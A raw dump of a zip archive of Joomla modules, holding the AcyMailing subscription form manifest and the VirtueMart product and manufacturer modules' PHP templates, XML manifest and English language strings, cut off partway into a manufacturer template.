mod_acym/mod_acym.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" client="site" method="upgrade">
	<name>AcyMailing subscription form</name>
	<creationDate>August 2018</creationDate>
	<version>6.17.1</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>https://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2020 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 https://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Subscribe to / Unsubscribe from AcyMailing lists</description>
	<files>
		<filename module="mod_acym">mod_acym.php</filename>
		<filename>index.html</filename>
		<folder>tmpl/</folder>
	</files>

	<config>
		<fields name="params" addfieldpath="/components/com_acym/params">
			<fieldset name="basic">
				<field name="help" type="help" default="module" label="ACYM_HELP"/>
				<field name="mode" type="list" default="tableless" label="ACYM_DISPLAY_MODE" description="ACYM_DISPLAY_MODE_DESC">
					<option value="inline">ACYM_MODE_HORIZONTAL</option>
					<option value="vertical">ACYM_MODE_VERTICAL</option>
					<option value="tableless">ACYM_MODE_TABLELESS</option>
				</field>
				<field name="hiddenlists" type="lists" default="None" label="ACYM_AUTO_SUBSCRIBE_TO" description="ACYM_AUTO_SUBSCRIBE_TO_DESC"/>
				<field name="displists" type="lists" default="None" label="ACYM_DISPLAYED_LISTS" description="ACYM_DISPLAYED_LISTS_DESC"/>
				<field name="listschecked" type="lists" default="None" label="ACYM_LISTS_CHECKED_DEFAULT" description="ACYM_LISTS_CHECKED_DEFAULT_DESC"/>

				<field name="listposition" type="list" default="before" label="ACYM_LIST_POSITION">
					<option value="before">ACYM_BEFORE_FIELDS</option>
					<option value="after">ACYM_AFTER_FIELDS</option>
				</field>
				<field name="fields" type="fields" default="1" label="ACYM_FIELDS_TO_DISPLAY" description="ACYM_FIELDS_TO_DISPLAY_DESC"/>
				<field name="textmode" type="list" default="0" label="ACYM_TEXT_MODE" description="ACYM_TEXT_MODE_DESC">
					<option value="1">ACYM_TEXT_INSIDE</option>
					<option value="0">ACYM_TEXT_OUTSIDE</option>
				</field>
				<field name="subtext" type="text" size="50" default="" label="ACYM_SUBSCRIBE_TEXT" description="ACYM_SUBSCRIBE_TEXT_DESC" filter="SAFEHTML"/>
				<field name="subtextlogged" type="text" size="50" default="" label="ACYM_SUBSCRIBE_TEXT_LOGGED_IN" description="ACYM_SUBSCRIBE_TEXT_LOGGED_IN_DESC" filter="SAFEHTML"/>

				<field name="termscontent" type="article" default="0" label="ACYM_TERMS_CONDITIONS"/>
				<field name="privacypolicy" type="article" default="0" label="ACYM_PRIVACY_POLICY"/>
				<field name="articlepopup" type="list" default="1" label="ACYM_DISPLAY_ARTICLE_POPUP">
					<option value="0">ACYM_NO</option>
					<option value="1">ACYM_YES</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field name="unsub" type="list" default="0" label="ACYM_DISPLAY_UNSUB_BUTTON">
					<option value="0">ACYM_NO</option>
					<option value="1">ACYM_YES</option>
				</field>
				<field name="unsubtext" type="text" size="50" default="" label="ACYM_UNSUBSCRIBE_TEXT" description="ACYM_UNSUBSCRIBE_TEXT_DESC" filter="SAFEHTML"/>
				<field name="successmode" type="list" default="0" label="ACYM_SUCCESS_MODE" description="ACYM_SUCCESS_MODE_DESC">
					<option value="replace">ACYM_SUCCESS_REPLACE</option>
					<option value="replacetemp">ACYM_SUCCESS_REPLACE_TEMP</option>
					<option value="toptemp">ACYM_SUCCESS_TOP_TEMP</option>
					<option value="standard">ACYM_SUCCESS_STANDARD</option>
				</field>
				<field name="unsubredirect" type="text" size="50" default="" label="ACYM_REDIRECT_LINK_UNSUB" description="ACYM_REDIRECT_LINK_UNSUB_DESC"/>
				<field name="redirect" type="text" size="50" default="" label="ACYM_REDIRECT_LINK" description="ACYM_REDIRECT_LINK_DESC"/>

				<field name="introtext" type="textarea" rows="5" cols="35" default="" label="ACYM_INTRO_TEXT" description="ACYM_INTRO_TEXT_DESC" filter="SAFEHTML"/>
				<field name="posttext" type="textarea" rows="5" cols="35" default="" label="ACYM_POST_TEXT" description="ACYM_POST_TEXT_DESC" filter="SAFEHTML"/>

				<field name="userinfo" type="list" default="1" label="ACYM_FORM_AUTOFILL_ID" description="ACYM_FORM_AUTOFILL_ID_DESC">
					<option value="0">ACYM_NO</option>
					<option value="1">ACYM_YES</option>
				</field>

				<field name="alignment" type="list" default="none" label="ACYM_ALIGNMENT" description="ACYM_ALIGNMENT_DESC">
					<option value="none">ACYM_DEFAULT</option>
					<option value="left">ACYM_LEFT</option>
					<option value="center">ACYM_CENTER</option>
					<option value="right">ACYM_RIGHT</option>
				</field>

				<field name="source" type="text" size="50" default="" label="ACYM_SOURCE" description="ACYM_SOURCE_DESC"/>

				<field name="moduleclass_sfx" type="text" default="" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"/>
				<field name="formclass" type="text" size="50" default="" label="ACYM_FORM_CLASS" description="ACYM_FORM_CLASS_DESC" filter="SAFEHTML"/>
				<field name="includejs" type="list" default="header" label="ACYM_MODULE_JS" description="ACYM_MODULE_JS_DESC">
					<option value="header">ACYM_IN_HEADER</option>
					<option value="module">ACYM_ON_THE_MODULE</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>

PK!b�����&mod_virtuemart_product/tmpl/single.phpnu&1i�<?php // no direct access
defined( '_JEXEC' ) or die('Restricted access');
vmJsApi::jPrice();
?>

<div class="vmgroup<?php echo $params->get( 'moduleclass_sfx' ) ?>">

	<?php if($headerText) { ?>
		<div class="vmheader"><?php echo $headerText ?></div>
	<?php } ?>

	<div class="product-container vmproduct<?php echo $params->get( 'moduleclass_sfx' ); ?> productdetails">
		<?php foreach( $products as $product ) { ?>
			<div style="text-align:center;">
				<div class="spacer">
					<?php
					if(!empty($product->images[0]))
						$image = $product->images[0]->displayMediaThumb( 'class="featuredProductImage" ', false );
					else $image = '';

					echo JHTML::_( 'link', JRoute::_( 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id ), $image, array('title' => $product->product_name) );
					echo '<div class="clear"></div>';

					$url = JRoute::_( 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.
					$product->virtuemart_category_id ); ?>
					<a href="<?php echo $url ?>"><?php echo $product->product_name ?></a>

					<div class="clear"></div>

					<?php // $product->prices is not set when show_prices in config is unchecked
					echo '<div class="productdetails">';
					if($show_price and isset($product->prices)) {
						echo '<div class="product-price">';
						// 		echo $currency->priceDisplay($product->prices['salesPrice']);
						if(!empty($product->prices['salesPrice'])) echo $currency->createPriceDiv( 'salesPrice', '', $product->prices, true );
						// 		if ($product->prices['salesPriceWithDiscount']>0) echo $currency->priceDisplay($product->prices['salesPriceWithDiscount']);
						if(!empty($product->prices['salesPriceWithDiscount'])) echo $currency->createPriceDiv( 'salesPriceWithDiscount', '', $product->prices, true );
						echo '</div>';
					}
					if($show_addtocart) echo shopFunctionsF::renderVmSubLayout( 'addtocart', array('product' => $product) );
					echo '</div>';
					?>
				</div>
			</div>

		<?php } ?>
		<?php if($footerText) { ?>
			<div class="vmheader"><?php echo $footerText ?></div>
		<?php } ?>
	</div>
</div>PK!���HH'mod_virtuemart_product/tmpl/default.phpnu&1i�<?php // no direct access
defined ('_JEXEC') or die('Restricted access');
// add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere
vmJsApi::jPrice();


$col = 1;
$pwidth = ' width' . floor (100 / $products_per_row);
if ($products_per_row > 1) {
	$float = "floatleft";
} else {
	$float = "center";
}
?>
<div class="vmgroup<?php echo $params->get ('moduleclass_sfx') ?>">

	<?php if ($headerText) { ?>
	<div class="vmheader"><?php echo $headerText ?></div>
	<?php
}
	if ($display_style == "div") {
		?>
		<div class="vmproduct<?php echo $params->get ('moduleclass_sfx'); ?> productdetails">
			<?php foreach ($products as $product) { ?>
			<div class="product-container <?php echo $pwidth ?> <?php echo $float ?>">
				<div class="spacer">
					<?php
					if (!empty($product->images[0])) {
						$image = $product->images[0]->displayMediaThumb ('class="featuredProductImage"', FALSE);
					} else {
						$image = '';
					}
					echo JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id), $image, array('title' => $product->product_name));
					echo '<div class="clear"></div>';
					$url = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' .$product->virtuemart_category_id); ?>
					<a href="<?php echo $url ?>"><?php echo $product->product_name ?></a>        <?php    echo '<div class="clear"></div>';

					echo '<div class="productdetails">';
					if ($show_price) {

						echo '<div class="product-price">';
						// 		echo $currency->priceDisplay($product->prices['salesPrice']);
						if (!empty($product->prices['salesPrice'])) {
							echo $currency->createPriceDiv ('salesPrice', '', $product->prices, FALSE, FALSE, 1.0, TRUE);
						}
						// 		if ($product->prices['salesPriceWithDiscount']>0) echo $currency->priceDisplay($product->prices['salesPriceWithDiscount']);
						if (!empty($product->prices['salesPriceWithDiscount'])) {
							echo $currency->createPriceDiv ('salesPriceWithDiscount', '', $product->prices, FALSE, FALSE, 1.0, TRUE);
						}
						echo '</div>';

					}
					if ($show_addtocart) {
						echo shopFunctionsF::renderVmSubLayout('addtocart',array('product'=>$product));
					}
					echo '</div>';
					?>
				</div>
			</div>
			<?php
			if ($col == $products_per_row && $products_per_row && $col < $totalProd) {
				echo "	</div><div style='clear:both;'>";
				$col = 1;
			} else {
				$col++;
			}
		} ?>
		</div>
		<br style='clear:both;'/>

		<?php
	} else {
		$last = count ($products) - 1;
		?>

		<ul class="vmproduct<?php echo $params->get ('moduleclass_sfx'); ?> productdetails">
			<?php foreach ($products as $product) : ?>
			<li class="product-container <?php echo $pwidth ?> <?php echo $float ?> ">
				<?php
				if (!empty($product->images[0])) {
					$image = $product->images[0]->displayMediaThumb ('class="featuredProductImage"', FALSE);
				} else {
					$image = '';
				}
				echo JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id), $image, array('title' => $product->product_name));
				echo '<div class="clear"></div>';
				$url = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' .$product->virtuemart_category_id); ?>
				<a href="<?php echo $url ?>"><?php echo $product->product_name ?></a>        <?php    echo '<div class="clear"></div>';
				echo '<div class="productdetails">';
				// $product->prices is not set when show_prices in config is unchecked
				if ($show_price and  isset($product->prices)) {

					echo '<div class="product-price">'.$currency->createPriceDiv ('salesPrice', '', $product->prices, FALSE, FALSE, 1.0, TRUE);
					if ($product->prices['salesPriceWithDiscount'] > 0) {
						echo $currency->createPriceDiv ('salesPriceWithDiscount', '', $product->prices, FALSE, FALSE, 1.0, TRUE);
					}
					echo '</div>';

				}
				if ($show_addtocart) {
					echo shopFunctionsF::renderVmSubLayout('addtocart',array('product'=>$product,'position' => array('ontop', 'addtocart')));
				}
				echo '</div>';
				?>
			</li>
			<?php
			if ($col == $products_per_row && $products_per_row && $last) {
				echo '
		</ul><div class="clear"></div>
		<ul  class="vmproduct' . $params->get ('moduleclass_sfx') . ' productdetails">';
				$col = 1;
			} else {
				$col++;
			}
			$last--;
		endforeach; ?>
		</ul>
		<div class="clear"></div>

		<?php
	}
	if ($footerText) : ?>
		<div class="vmfooter<?php echo $params->get ('moduleclass_sfx') ?>">
			<?php echo $footerText ?>
		</div>
		<?php endif; ?>
</div>PK!�;ss1mod_virtuemart_product/mod_virtuemart_product.phpnu&1i�<?php
defined('_JEXEC') or die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/*
* featured/Latest/Topten/Random Products Module
*
* @version $Id: mod_virtuemart_product.php 2789 2011-02-28 12:41:01Z oscar $
* @package VirtueMart
* @subpackage modules
*
* @copyright (C) 2010 - Patrick Kohl
* @copyright (C) 2011 - 2017 The VirtueMart Team
* @author Max Milbers, Valerie Isaksen, Alexander Steiner
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* VirtueMart is Free Software.
* VirtueMart comes with absolute no warranty.
*
* @link https://virtuemart.net
*/

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig();
vmLanguage::loadJLang('mod_virtuemart_product', true);

// Setting
$max_items = 		$params->get( 'max_items', 2 ); //maximum number of items to display
$layout = $params->get('layout','default');
$category_id = 		$params->get( 'virtuemart_category_id', null ); // Display products from this category only
$filter_category = 	(bool)$params->get( 'filter_category', 0 ); // Filter the category
$manufacturer_id = 	$params->get( 'virtuemart_manufacturer_id', null ); // Display products from this manufacturer only
$filter_manufacturer = 	(bool)$params->get( 'filter_manufacturer', 0 ); // Filter the manufacturer
$display_style = 	$params->get( 'display_style', "div" ); // Display Style
$products_per_row = $params->get( 'products_per_row', 1 ); // Display X products per Row
$show_price = 		(bool)$params->get( 'show_price', 1 ); // Display the Product Price?
$show_addtocart = 	(bool)$params->get( 'show_addtocart', 1 ); // Display the "Add-to-Cart" Link?
$headerText = 		$params->get( 'headerText', '' ); // Display a Header Text
$footerText = 		$params->get( 'footerText', ''); // Display a footerText
$Product_group = 	$params->get( 'product_group', 'featured'); // Display a footerText

$mainframe = Jfactory::getApplication();
$virtuemart_currency_id = $mainframe->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',vRequest::getInt('virtuemart_currency_id',0) );


vmJsApi::jPrice();
vmJsApi::cssSite();

$cache = $params->get( 'vmcache', true );
$cachetime = $params->get( 'vmcachetime', 2 );
$products = false;
//vmdebug('$params for mod products',$params);

$productModel = VmModel::getModel('Product');

if($cache and $Product_group!='recent'){
	vmdebug('Use cache for mod products');
	//$key = 'products'.$category_id.'.'.$max_items.'.'.$filter_category.'.'.$display_style.'.'.$products_per_row.'.'.$show_price.'.'.$show_addtocart.'.'.$Product_group.'.'.$virtuemart_currency_id.'.'.$category_id.'.'.$filter_manufacturer.'.'.$manufacturer_id;
	$cache	= VmConfig::getCache('mod_virtuemart_product');
	$cache->setCaching(1);
	$cache->setLifeTime($cachetime);
	$products = $cache->call( array( 'VirtueMartModelProduct', 'getProductsListing' ),$Product_group, $max_items, $show_price, true, false,$filter_category, $category_id, $filter_manufacturer, $manufacturer_id, $params->get( 'omitLoaded', 0));
	if ($products) {
		vmdebug('Use cached mod products');
	}
}

if(!$products){
	$vendorId = vRequest::getInt('vendorid', 1);

	if ($filter_category ) $filter_category = TRUE;
	VirtueMartModelProduct::$omitLoaded = $params->get( 'omitLoaded', 0);
	$products = $productModel->getProductListing($Product_group, $max_items, $show_price, true, false,$filter_category, $category_id, $filter_manufacturer, $manufacturer_id, $params->get( 'omitLoaded', 0));
}

if(empty($products)) return false;

$productModel->addImages($products);

shopFunctionsF::sortLoadProductCustomsStockInd($products,$productModel);
if(empty($products)) return false;

$totalProd = 		count( $products);

$currency = CurrencyDisplay::getInstance( );

ob_start();

/* Load tmpl default */
require(JModuleHelper::getLayoutPath('mod_virtuemart_product',$layout));
$output = ob_get_clean();
echo $output;



echo vmJsApi::writeJS();
?>
PK!B�^d��1mod_virtuemart_product/mod_virtuemart_product.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0">
  <name>mod_virtuemart_product</name>
  <creationDate>November 06 2020</creationDate>
  <author>The VirtueMart Development Team</author>
  <authorUrl>https://virtuemart.net</authorUrl>
  <copyright>Copyright (C) 2004 - 2020 Virtuemart Team. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <version>3.8.6</version>
  <description>MOD_VIRTUEMART_PRODUCT_DESC</description>
  <files>
    <filename module="mod_virtuemart_product">mod_virtuemart_product.php</filename>
    <filename>helper.php</filename>
    <filename>tmpl/default.php</filename>
    <filename>tmpl/single.php</filename>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params" addfieldpath="/administrator/components/com_virtuemart/fields">
      <fieldset name="basic">
        <field
          name="com_virtuemart,com_virtuemart_config"
          type="vmloadlang"
          />
        <field
          name="layout"
          type="vmlayout"
          label="MOD_VIRTUEMART_PRODUCT_LAYOUT"
          required="true"
          allowGlobal="0"
          extension="com_virtuemart"
          view="mod_virtuemart_product"
          description="MOD_VIRTUEMART_PRODUCT_LAYOUT_DESC"
        />
        <field
          name="product_group"
          type="list"
          default="featured"
          label="MOD_VIRTUEMART_PRODUCT_DISPLAY"
          description="MOD_VIRTUEMART_PRODUCT_DISPLAY_DESC"
          >
          <option value="featured">MOD_VIRTUEMART_PRODUCT_FEATURED_PRODUCTS</option>
          <option value="discontinued">MOD_VIRTUEMART_PRODUCT_DISCONTINUED_PRODUCTS</option>
          <option value="latest">MOD_VIRTUEMART_PRODUCT_LATEST_PRODUCTS</option>
          <option value="random">MOD_VIRTUEMART_PRODUCT_RANDOM_PRODUCTS</option>
          <option value="topten">MOD_VIRTUEMART_PRODUCT_BEST_SALES</option>
          <option value="recent">MOD_VIRTUEMART_PRODUCT_RECENT_PRODUCTS</option>
        </field>
        <field
          name="max_items"
          type="text"
          default="2"
          label="MOD_VIRTUEMART_PRODUCT_MAX_ITEMS"
          description="MOD_VIRTUEMART_PRODUCT_MAX_ITEMS_DESC"
        />
        <field
                name="omitLoaded"
                type="list"
                default=""
                label="COM_VM_ADMIN_CFG_OMIT"
                description="COM_VM_ADMIN_CFG_OMIT_TIP"
                >
          <option value="">JGLOBAL_USE_GLOBAL</option>
          <option value="1">JYES</option>
          <option value="0">JNO</option>
        </field>
        <field
          name="products_per_row"
          type="text"
          default="1"
          label="MOD_VIRTUEMART_PRODUCT_PRODUCTS_PER_ROW"
          description="MOD_VIRTUEMART_PRODUCT_PRODUCTS_PER_ROW_DESC"
        />
        <field
          name="display_style"
          type="list"
          default="list"
          label="MOD_VIRTUEMART_PRODUCT_DISPLAY_STYLE"
          description="MOD_VIRTUEMART_PRODUCT_DISPLAY_STYLE_DESC"
          >
          <option value="list">MOD_VIRTUEMART_PRODUCT_DISPLAY_UL</option>
          <option value="div">MOD_VIRTUEMART_PRODUCT_DISPLAY_DIV</option>
        </field>
        <field
          name="show_price"
          type="list"
          default="1"
          label="MOD_VIRTUEMART_PRODUCT_SHOW_PRICE"
          description="MOD_VIRTUEMART_PRODUCT_SHOW_PRICE_DESC"
          >
          <option value="1">JYES</option>
          <option value="0">JNO</option>
        </field>
        <field
          name="show_addtocart"
          type="list"
          default="1"
          label="MOD_VIRTUEMART_PRODUCT_SHOW_ADDTOCART"
          description="MOD_VIRTUEMART_PRODUCT_SHOW_ADDTOCART_DESC"
          >
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field
          name="@spacer"
          type="spacer"
          default=""
          label=""
          description=""
        />
        <field
          name="headerText"
          type="text"
          default=""
          label="MOD_VIRTUEMART_PRODUCT_HEADER_TEXT"
          description="MOD_VIRTUEMART_PRODUCT_HEADER_TEXT_DESC"
        />
        <field
          name="footerText"
          type="text"
          default=""
          label="MOD_VIRTUEMART_PRODUCT_FOOTER_TEXT"
          description="MOD_VIRTUEMART_PRODUCT_FOOTER_TEXT_DESC"
        />
        <field
          name="filter_category"
          type="list"
          default="0"
          label="MOD_VIRTUEMART_PRODUCT_FILTER_CATEGORY"
          description="MOD_VIRTUEMART_PRODUCT_FILTER_CATEGORY_DESC"
          >
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field
          name="virtuemart_category_id"
          type="vmcategories"
          value_field="category_name"
          label="MOD_VIRTUEMART_PRODUCT_CATEGORY_ID"
          description="MOD_VIRTUEMART_PRODUCT_CATEGORY_ID_DESC"
        />
        <field
          name="filter_manufacturer"
          type="list"
          default="0"
          label="MOD_VIRTUEMART_PRODUCT_FILTER_MANUFACTURER"
          description="MOD_VIRTUEMART_PRODUCT_FILTER_MANUFACTURER_DESC"
          >
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field
          name="virtuemart_manufacturer_id"
          type="manufacturer"
          value_field="manufacturer_name"
          label="MOD_VIRTUEMART_PRODUCT_MANUFACTURER_ID"
          description="MOD_VIRTUEMART_PRODUCT_MANUFACTURER_ID_DESC"
        />
        <field
          name="vmcache"
          type="list"
          default="1"
          label="MOD_VIRTUEMART_PRODUCT_CACHING_LABEL"
          description="MOD_VIRTUEMART_PRODUCT_CACHING_DESC"
          >
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field
          name="vmcachetime"
          type="text"
          default="300"
          label="MOD_VIRTUEMART_PRODUCT_CACHING_TIME_LABEL"
          description="MOD_VIRTUEMART_PRODUCT_CACHING_TIME_DESC"
        />
      </fieldset>
      <fieldset name="advanced">
        <field
          name="cache"
          type="list"
          default="0"
          label="COM_MODULES_FIELD_CACHING_LABEL"
          description="COM_MODULES_FIELD_CACHING_DESC"
          >
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field
          name="moduleclass_sfx"
          type="text"
          default=""
          label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
          description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
        />
        <field
          name="class_sfx"
          type="text"
          default=""
          label="Menu Class Suffix"
          description="A suffix to be applied to the css class of the menu items"
        />
      </fieldset>
    </fields>
  </config>
  <updateservers>
    <!-- Note: No spaces or linebreaks allowed between the server tags -->
    <server type="extension" name="VirtueMart3 mod_virtuemart_product Update Site"><![CDATA[http://virtuemart.net/releases/vm3/mod_virtuemart_product_update.xml]]></server>
  </updateservers>
</extension>
PK!n��""!mod_virtuemart_product/helper.phpnu&1i�<?php
	defined ('_JEXEC') or  die('Direct Access to ' . basename (__FILE__) . ' is not allowed.');
/*
 * Module Helper
 * just for legacy, will be removed
 * @package VirtueMart
 * @copyright (C) 2011 - 2014 The VirtueMart Team
 * @Email: max@virtuemart.net
 *
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 *
 * @link https://virtuemart.net
 */

/*class mod_virtuemart_product {

	/*
	 * @deprecated
	 *
	static function addtocart ($product) {

		echo shopFunctionsF::renderVmSubLayout('addtocart',array('product'=>$product));
	}
}*/
PK!����8
8
Fmod_virtuemart_product/language/en-GB/en-GB.mod_virtuemart_product.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_PRODUCT="VirtueMart Products"
MOD_VIRTUEMART_PRODUCT_ALTERNATIVE2_LAYOUT="Alternative 2"
MOD_VIRTUEMART_PRODUCT_ALTERNATIVE_LAYOUT="Alternative"
MOD_VIRTUEMART_PRODUCT_BEST_SALES="Best Sales"
MOD_VIRTUEMART_PRODUCT_CACHING_DESC="To use this function, disable the joomla cache for this module (see Advanced Options)"
MOD_VIRTUEMART_PRODUCT_CACHING_LABEL="Vm Cache"
MOD_VIRTUEMART_PRODUCT_CACHING_TIME_LABEL="Vm Caching Time"
MOD_VIRTUEMART_PRODUCT_CACHING_TIME_LABEL_DESC="Good value is for example 300, so all 5 minutes your module is updated"
MOD_VIRTUEMART_PRODUCT_CATEGORY="Category"
MOD_VIRTUEMART_PRODUCT_CATEGORY_DESC="Choose your filtered Category"
MOD_VIRTUEMART_PRODUCT_CATEGORY_ID="Category"
MOD_VIRTUEMART_PRODUCT_CATEGORY_ID_DESC="Select the category to choose the products from."
MOD_VIRTUEMART_PRODUCT_DEFAULT_LAYOUT="Default"
MOD_VIRTUEMART_PRODUCT_DESC="Displays: Featured, Best Sales, Random, Latest or Recently Viewed products. <br/><br/>(VirtueMart 2+ compatible)"
MOD_VIRTUEMART_PRODUCT_DISCONTINUED_PRODUCTS="Discontinued Products"
MOD_VIRTUEMART_PRODUCT_DISPLAY="Display"
MOD_VIRTUEMART_PRODUCT_DISPLAY_DESC="Select the type of product you would like to display"
MOD_VIRTUEMART_PRODUCT_DISPLAY_DIV="Div based"
MOD_VIRTUEMART_PRODUCT_DISPLAY_STYLE="Display Style"
MOD_VIRTUEMART_PRODUCT_DISPLAY_STYLE_DESC="Choose the display type for the products"
MOD_VIRTUEMART_PRODUCT_DISPLAY_UL="List based ul-li"
MOD_VIRTUEMART_PRODUCT_FEATURED_PRODUCTS="Featured Products"
MOD_VIRTUEMART_PRODUCT_FILTER_CATEGORY="Use category filter"
MOD_VIRTUEMART_PRODUCT_FILTER_CATEGORY_DESC="Show only the product from this category?"
MOD_VIRTUEMART_PRODUCT_FILTER_MANUFACTURER="Use manufacturer filter"
MOD_VIRTUEMART_PRODUCT_FILTER_MANUFACTURER_DESC="Show only the products from this manufacturer?"
MOD_VIRTUEMART_PRODUCT_FOOTER_TEXT="Footer Text"
MOD_VIRTUEMART_PRODUCT_FOOTER_TEXT_DESC="Add a Text after list of products."
MOD_VIRTUEMART_PRODUCT_HEADER_TEXT="Header Text"
MOD_VIRTUEMART_PRODUCT_HEADER_TEXT_DESC="Add a Text before list of products."
MOD_VIRTUEMART_PRODUCT_LATEST_PRODUCTS="Latest Products"
MOD_VIRTUEMART_PRODUCT_LAYOUT="Layout"
MOD_VIRTUEMART_PRODUCT_LAYOUT_DESC="You can override each individual layout"
MOD_VIRTUEMART_PRODUCT_MANUFACTURER_ID="Manufacturer"
MOD_VIRTUEMART_PRODUCT_MANUFACTURER_ID_DESC="Select the manufacturer to choose the products from."
MOD_VIRTUEMART_PRODUCT_MAX_ITEMS="Number of displayed products"
MOD_VIRTUEMART_PRODUCT_MAX_ITEMS_DESC="Choose the number of products that will be displayed in the module."
MOD_VIRTUEMART_PRODUCT_PRODUCTS_PER_ROW="Products per row"
MOD_VIRTUEMART_PRODUCT_PRODUCTS_PER_ROW_DESC="The Number of products per row for the product snapshots."
MOD_VIRTUEMART_PRODUCT_RANDOM_PRODUCTS="Random Products"
MOD_VIRTUEMART_PRODUCT_RECENT_PRODUCTS="Recently Viewed Products"
MOD_VIRTUEMART_PRODUCT_SHOW_ADDTOCART="Show Add-To-Cart Link?"
MOD_VIRTUEMART_PRODUCT_SHOW_ADDTOCART_DESC="Defines wether the Add-To-Cart Link is displayed or not."
MOD_VIRTUEMART_PRODUCT_SHOW_PRICE="Show Product Price?"
MOD_VIRTUEMART_PRODUCT_SHOW_PRICE_DESC="Defines wether the product price is displayed or not."PK!�Œ��Jmod_virtuemart_product/language/en-GB/en-GB.mod_virtuemart_product.sys.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM
; author Valerie isaksen

MOD_VIRTUEMART_PRODUCT="VirtueMart Products"
MOD_VIRTUEMART_PRODUCT_DESC="Displays products such as Best sales, Featured products, Last products, Random products"PK!vG��yyTmod_virtuemart_manufacturer/language/en-GB/en-GB.mod_virtuemart_manufacturer.sys.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_MANUFACTURER="VirtueMart Manufacturers"
MOD_VIRTUEMART_MANUFACTURER_DESC="Displays manufacturers from VirtueMart.<br/>(VirtueMart 2+ compatible)"PK!����Pmod_virtuemart_manufacturer/language/en-GB/en-GB.mod_virtuemart_manufacturer.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_MANUFACTURER="VirtueMart Manufacturers"
MOD_VIRTUEMART_MANUFACTURER_DESC="Displays manufacturers from VirtueMart.<br/>(VirtueMart 2+ compatible)"
MOD_VIRTUEMART_MANUFACTURER_DISPLAY_STYLE="Display Style"
MOD_VIRTUEMART_MANUFACTURER_DISPLAY_STYLE_DESC="Choose the display type for the manufacturers"
MOD_VIRTUEMART_MANUFACTURER_DIV="Div based"
MOD_VIRTUEMART_MANUFACTURER_FOOTER_TEXT="Footer Text"
MOD_VIRTUEMART_MANUFACTURER_FOOTER_TEXT_DESC="Add a Text to display after list of Manufacturers."
MOD_VIRTUEMART_MANUFACTURER_HEADER_TEXT="Header Text"
MOD_VIRTUEMART_MANUFACTURER_HEADER_TEXT_DESC="Add a Text to display before list of Manufacturers."
MOD_VIRTUEMART_MANUFACTURER_IMAGE_NAME="Image & name"
MOD_VIRTUEMART_MANUFACTURER_LIST="List based ul-li"
MOD_VIRTUEMART_MANUFACTURER_NAME="Manufacturers name"
MOD_VIRTUEMART_MANUFACTURER_ROW="Manufacturers per row"
MOD_VIRTUEMART_MANUFACTURER_ROW_DESC="The number of manufacturers per row for the Manufacturers snapshots."
MOD_VIRTUEMART_MANUFACTURER_SHOW="VirtueMart Manufacturer"
MOD_VIRTUEMART_MANUFACTURER_SHOW_DESC="Choose the way the Manufacturers Snapshot will be displayed"
MOD_VIRTUEMART_MANUFACTURER_THUMB_IMAGE="Thumb image"PK!�W5
5
,mod_virtuemart_manufacturer/tmpl/default.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');
$col= 1 ;
?>
<div class="vmgroup<?php echo $params->get( 'moduleclass_sfx' ) ?>">

<?php if ($headerText) : ?>
